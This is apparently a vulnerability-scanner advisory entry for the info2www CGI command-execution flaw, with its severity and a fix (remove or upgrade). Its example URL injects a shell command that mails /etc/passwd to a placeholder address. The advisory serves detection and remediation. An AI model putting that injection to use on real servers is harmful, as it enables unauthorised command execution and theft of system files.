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Vulnerability Assessment Details

info2www

Vulnerability Assessment Summary
Searches for the existence of /cgi-bin/info2www

Detailed Explanation for this Vulnerability Assessment
The 'info2www' CGI is installed. This CGI has
a well documented security flaw that lets a possible hacker execute arbitrary
commands with the rights of the http daemon (usually root or nobody).

Example:

http://target/cgi-bin/info2www?'(../../../bin/mail your@email < /etc/passwd|)'

Solution : Remove it from /cgi-bin or upgrade.

Network Security Threat Level: High

Networks Security ID: 1995

Vulnerability Assessment Copyright: This script is Copyright (C) 1999 Renaud Deraison

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